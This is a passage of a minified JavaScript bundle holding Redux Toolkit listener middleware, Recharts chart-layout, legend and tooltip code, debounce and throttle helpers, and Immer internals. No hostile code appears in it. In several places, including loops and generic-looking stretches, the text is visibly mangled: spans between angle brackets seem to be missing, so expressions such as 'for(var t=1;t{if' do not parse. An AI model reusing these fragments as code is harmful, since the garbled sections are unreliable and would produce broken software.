n=iu;return new Promise((r,i)=>{const a=()=>i(new zd(e.reason));if(e.aborted){a();return}n=Uk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=iu})}var $O=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof zd?"cancelled":"rejected",error:n}}finally{t==null||t()}},au=e=>t=>Wk(Vk(e,t).then(n=>(Ui(e),n))),Hk=e=>{const t=au(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:$a}=Object,xy={},Cd="listenerMiddleware",BO=(e,t)=>{const n=r=>Uk(e,()=>r.abort(e.reason));return(r,i)=>{Wx(r);const a=new AbortController;n(a);const o=$O(async()=>{Ui(e),Ui(a.signal);const l=await r({pause:au(a.signal),delay:Hk(a.signal),signal:a.signal});return Ui(a.signal),l},()=>a.abort(DO));return i!=null&&i.autoJoin&&t.push(o.catch(iu)),{result:au(e)(o),cancel(){a.abort(IO)}}}},FO=(e,t)=>{const n=async(r,i)=>{Ui(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Vk(t,Promise.race(l));return Ui(t),c}finally{a()}};return(r,i)=>Wk(n(r,i))},Kk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=zn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(on(21));return Wx(a),{predicate:i,type:t,effect:a}},qk=$a(e=>{const{type:t,predicate:n,effect:r}=Kk(e);return{id:SO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(on(22))}}},{withTypes:()=>qk}),vy=(e,t)=>{const{type:n,effect:r,predicate:i}=Kk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Bm=e=>{e.pending.forEach(t=>{t.abort($m)})},WO=(e,t)=>()=>{for(const n of t.keys())Bm(n);e.clear()},gy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},Yk=$a(zn(`${Cd}/add`),{withTypes:()=>Yk}),UO=zn(`${Cd}/removeAll`),Gk=$a(zn(`${Cd}/remove`),{withTypes:()=>Gk}),VO=(...e)=>{console.error(`${Cd}/error`,...e)},Zo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=VO}=e;Wx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Bm(h)}),c=h=>{const x=vy(t,h)??qk(h);return l(x)};$a(c,{withTypes:()=>c});const u=h=>{const x=vy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Bm(x)),!!x};$a(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=FO(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,$a({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Hk(v.signal),pause:au(v.signal),extra:a,signal:v.signal,fork:BO(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort($m),S.delete(j))})},cancel:()=>{v.abort($m),h.pending.delete(v)},throwIfCancelled:()=>{Ui(v.signal)}})))}catch(j){j instanceof zd||gy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(RO),i(h),h.pending.delete(v)}},f=WO(t,n);return{middleware:h=>x=>g=>{if(!Nk(g))return x(g);if(Yk.match(g))return c(g.payload);if(UO.match(g)){f();return}if(Gk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===xy)throw new Error(on(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,gy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=xy}return b},startListening:c,stopListening:u,clearListeners:f}};function on(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var HO={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Xk=Xt({name:"chartLayout",initialState:HO,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:KO,setLayout:qO,setChartSize:YO,setScale:GO}=Xk.actions,XO=Xk.reducer;function Zk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ze(e){return Number.isFinite(e)}function vi(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function yy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Aa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&he(e[a]))return Aa(Aa({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&he(e[o]))return Aa(Aa({},e),{},{[o]:e[o]+(i||0)})}return e},fr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",tT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},nT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},rT={sign:tT,expand:H_,none:ea,silhouette:K_,wiggle:q_,positive:nT},iT=(e,t,n)=>{var r,i=(r=rT[n])!==null&&r!==void 0?r:ea,a=V_().keys(t).value((l,c)=>Number(Fe(l,c,0))).order(Em).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Fe(e[d],t[c],0);Array.isArray(f)&&f.length===2&&he(f[0])&&he(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function aT(e){return e==null?void 0:String(e)}function by(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Pt(i[t.dataKey])){var l=Uj(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Fe(i,Pt(o)?t.dataKey:o),u=t.scale.map(c);return he(u)?u:null}var sT=e=>{var t=e.flat(2).filter(he);return[Math.min(...t),Math.max(...t)]},oT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],lT=(e,t,n)=>{if(e!=null)return oT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Zk(u,t,n),f=sT(d);return!ze(f[0])||!ze(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},wy=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,jy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,su=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=gd(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},uT=(e,t)=>t==="centric"?e.angle:e.radius,Rr=e=>e.layout.width,$r=e=>e.layout.height,dT=e=>e.layout.scale,Qk=e=>e.layout.margin,Ed=T(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Ad=T(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Jk="data-recharts-item-index",eN="data-recharts-item-id",Qo=60;function Ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dl(e){for(var t=1;te.brush.height;function xT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function vT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function gT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function yT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var yt=T([Rr,$r,Qk,hT,xT,vT,gT,yT,wk,Y6],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Dl(Dl({},f),d),h=m.bottom;m.bottom+=r,m=eT(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Dl(Dl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),bT=T(yt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));T(Rr,$r,(e,t)=>({x:0,y:0,width:e,height:t}));var wT=p.createContext(null),Kn=()=>p.useContext(wT)!=null,_d=e=>e.brush,Od=T([_d,yt,Qk],(e,t,n)=>({height:e.height,x:he(e.x)?e.x:t.left,y:he(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:he(e.width)?e.width:t.width})),tN={},nN={},rN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(rN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=rN;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(nN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=nN;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(tN);var jT=tN.throttle;const kT=Lr(jT);var Sy=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},rr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},iN=(e,t,n)=>{var{width:r=rr.width,height:i=rr.height,aspect:a,maxHeight:o}=n,l=ta(r)?e:Number(r),c=ta(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},NT={width:0,height:0,overflow:"visible"},ST={width:0,overflowX:"visible"},zT={height:0,overflowY:"visible"},CT={},PT=e=>{var{width:t,height:n}=e,r=ta(t),i=ta(n);return r&&i?NT:r?ST:i?zT:CT};function ET(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=rr.width,a=rr.height):i===void 0?i=r&&r>0?void 0:rr.width:a===void 0&&(a=r&&r>0?void 0:rr.height),{width:i,height:a}}function Fm(){return Fm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return TT(i)?p.createElement(aN.Provider,{value:i},t):null}var Ux=()=>p.useContext(aN),MT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=rr.initialDimension,width:i,height:a,minWidth:o=rr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=rr.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,_)=>{b(A=>{var O=Math.round(z),P=Math.round(_);return A.containerWidth===O&&A.containerHeight===P?A:{containerWidth:O,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return cs;var z=P=>{var I,U=P[0];if(U!=null){var{width:D,height:M}=U.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(z=kT(z,d,{trailing:!0,leading:!1}));var _=new ResizeObserver(z),{width:A,height:O}=g.current.getBoundingClientRect();return w(A,O),_.observe(g.current),()=>{_.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;Sy(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=iN(j,k,{width:i,height:a,aspect:n,maxHeight:c});return Sy(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Xe("recharts-responsive-container",m),style:Cy(Cy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:PT({width:i,height:a})},p.createElement(sN,{width:S,height:N},u)))}),Py=p.forwardRef((e,t)=>{var n=Ux();if(vi(n.width)&&vi(n.height))return e.children;var{width:r,height:i}=ET({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=iN(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return he(a)&&he(o)?p.createElement(sN,{width:a,height:o},e.children):p.createElement(MT,Fm({},e,{width:r,height:i,ref:t}))});function Vx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Td=()=>{var e,t=Kn(),n=ye(bT),r=ye(Od),i=(e=ye(_d))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},LT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},IT=()=>{var e;return(e=ye(yt))!==null&&e!==void 0?e:LT},DT=()=>ye(Rr),RT=()=>ye($r),Me=e=>e.layout.layoutType,us=()=>ye(Me),$T=()=>{var e=us();if(e==="horizontal"||e==="vertical")return e},oN=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},BT=()=>{var e=us();return e!==void 0},Jo=e=>{var t=it(),n=Kn(),{width:r,height:i}=e,a=Ux(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&vi(o)&&vi(l)&&t(YO({width:o,height:l}))},[t,n,o,l]),null},lN=Symbol.for("immer-nothing"),Ey=Symbol.for("immer-draftable"),cn=Symbol.for("immer-state");function Dn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Oo=Object.getPrototypeOf;function Qa(e){return!!e&&!!e[cn]}function ra(e){var t;return e?cN(e)||Array.isArray(e)||!!e[Ey]||!!((t=e.constructor)!=null&&t[Ey])||el(e)||Ld(e):!1}var FT=Object.prototype.constructor.toString(),Ay=new WeakMap;function cN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Ay.get(n);return r===void 0&&(r=Function.toString.call(n),Ay.set(n,r)),r===FT}function ou(e,t,n=!0){Md(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Md(e){const t=e[cn];return t?t.type_:Array.isArray(e)?1:el(e)?2:Ld(e)?3:0}function Wm(e,t){return Md(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function uN(e,t,n){const r=Md(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function WT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function el(e){return e instanceof Map}function Ld(e){return e instanceof Set}function Oi(e){return e.copy_||e.base_}function Um(e,t){if(el(e))return new Map(e);if(Ld(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=cN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[cn];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Rl,add:Rl,clear:Rl,delete:Rl}),Object.freeze(e),t&&Object.values(e).forEach(n=>Hx(n,!0))),e}function UT(){Dn(2)}var Rl={value:UT};function Id(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var VT={};function ia(e){const t=VT[e];return t||Dn(0,e),t}var To;function dN(){return To}function HT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function _y(e,t){t&&(ia("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Vm(e){Hm(e),e.drafts_.forEach(KT),e.drafts_=null}function Hm(e){e===To&&(To=e.parent_)}function Oy(e){return To=HT(To,e)}function KT(e){const t=e[cn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Ty(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[cn].modified_&&(Vm(t),Dn(4)),ra(e)&&(e=lu(t,e),t.parent_||cu(t,e)),t.patches_&&ia("Patches").generateReplacementPatches_(n[cn].base_,e,t.patches_,t.inversePatches_)):e=lu(t,n,[]),Vm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==lN?e:void 0}function lu(e,t,n){if(Id(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[cn];if(!i)return ou(t,(a,o)=>My(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return cu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ou(o,(c,u)=>My(e,i,a,c,u,n,l),r),cu(e,a,!1),n&&e.patches_&&ia("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function My(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Id(i);if(!(l&&!o)){if(Qa(i)){const c=a&&t&&t.type_!==3&&!Wm(t.assigned_,r)?a.concat(r):void 0,u=lu(e,i,c);if(uN(n,r,u),Qa(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ra(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;lu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(el(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&cu(e,i)}}}function cu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Hx(t,n)}function qT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:dN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Kx;n&&(i=[r],a=Mo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Kx={get(e,t){if(t===cn)return e;const n=Oi(e);if(!Wm(n,t))return YT(e,n,t);const r=n[t];return e.finalized_||!ra(r)?r:r===tp(e.base_,t)?(np(e),e.copy_[t]=qm(r,e)):r},has(e,t){return t in Oi(e)},ownKeys(e){return Reflect.ownKeys(Oi(e))},set(e,t,n){const r=fN(Oi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=tp(Oi(e),t),a=i==null?void 0:i[cn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(WT(n,i)&&(n!==void 0||Wm(e.base_,t)))return!0;np(e),Km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return tp(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,np(e),Km(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Oi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Dn(11)},getPrototypeOf(e){return Oo(e.base_)},setPrototypeOf(){Dn(12)}},Mo={};ou(Kx,(e,t)=>{Mo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Mo.deleteProperty=function(e,t){return Mo.set.call(this,e,t,void 0)};Mo.set=function(e,t,n){return Kx.set.call(this,e[0],t,n,e[0])};function tp(e,t){const n=e[cn];return(n?Oi(n):e)[t]}function YT(e,t,n){var i;const r=fN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function fN(e,t){if(!(t in e))return;let n=Oo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Oo(n)}}function Km(e){e.modified_||(e.modified_=!0,e.parent_&&Km(e.parent_))}function np(e){e.copy_||(e.copy_=Um(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var GT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Dn(6),r!==void 0&&typeof r!="function"&&Dn(7);let i;if(ra(t)){const a=Oy(this),o=qm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Vm(a):Hm(a)}return _y(a,r),Ty(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===lN&&(i=void 0),this.autoFreeze_&&Hx(i,!0),r){const a=[],o=[];ia("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Dn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ra(e)||Dn(8),Qa(e)&&(e=XT(e));const t=Oy(this),n=qm(e,void 0);return n[cn].isManual_=!0,Hm(t),n}finishDraft(e,t){const n=e&&e[cn];(!n||!n.isManual_)&&Dn(9);const{scope_:r}=n;return _y(r,t),Ty(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ia("Patches").applyPatches_;return Qa(e)?r(e,t):this.produce(e,i=>r(i,t))}};function qm(e,t){const n=el(e)?ia("MapSet").proxyMap_(e,t):Ld(e)?ia("MapSet").proxySet_(e,t):qT(e,t);return(t?t.scope_:dN()).drafts_.push(n),n}function XT(e){return Qa(e)||Dn(10,e),pN(e)}function pN(e){if(!ra(e)||Id(e))return e;const t=e[cn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Um(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Um(e,!0);return ou(n,(i,a)=>{uN(n,i,pN(a))},r),t&&(t.finalized_=!1),n}var ZT=new GT;ZT.produce;var QT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},mN=Xt({name:"legend",initialState:QT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:Ue()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:Ue()},removeLegendPayload:{reducer(e,t){var n=Fn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:Ue()}}}),{setLegendSize:MV,setLegendSettings:LV,addLegendPayload:hN,replaceLegendPayload:xN,removeLegendPayload:vN}=mN.actions,JT=mN.reducer;function Ym(){return Ym=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=fa.separator,contentStyle:n,itemStyle:r,labelStyle:i=fa.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=fa.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?gd(a,l):a).map((N,z)=>{if(N.type==="none")return null;var _=N.formatter||o||rM,{value:A,name:O}=N,P=A,I=O;if(_){var U=_(A,O,N,z,a);if(Array.isArray(U))[P,I]=U;else if(U!=null)P=U;else return null}var D=As(As({},fa.itemStyle),{},{color:N.color||fa.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:D},Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=As(As({},fa.contentStyle),n),g=As({margin:0},i),y=!Pt(d),v=y?d:"",b=Xe("recharts-default-tooltip",c),w=Xe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Ym({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},_s="recharts-tooltip-wrapper",aM={visibility:"hidden"};function sM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Xe(_s,{["".concat(_s,"-right")]:he(n)&&t&&he(t.x)&&n>=t.x,["".concat(_s,"-left")]:he(n)&&t&&he(t.x)&&n=t.y,["".concat(_s,"-top")]:he(r)&&t&&he(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function oM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function lM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return 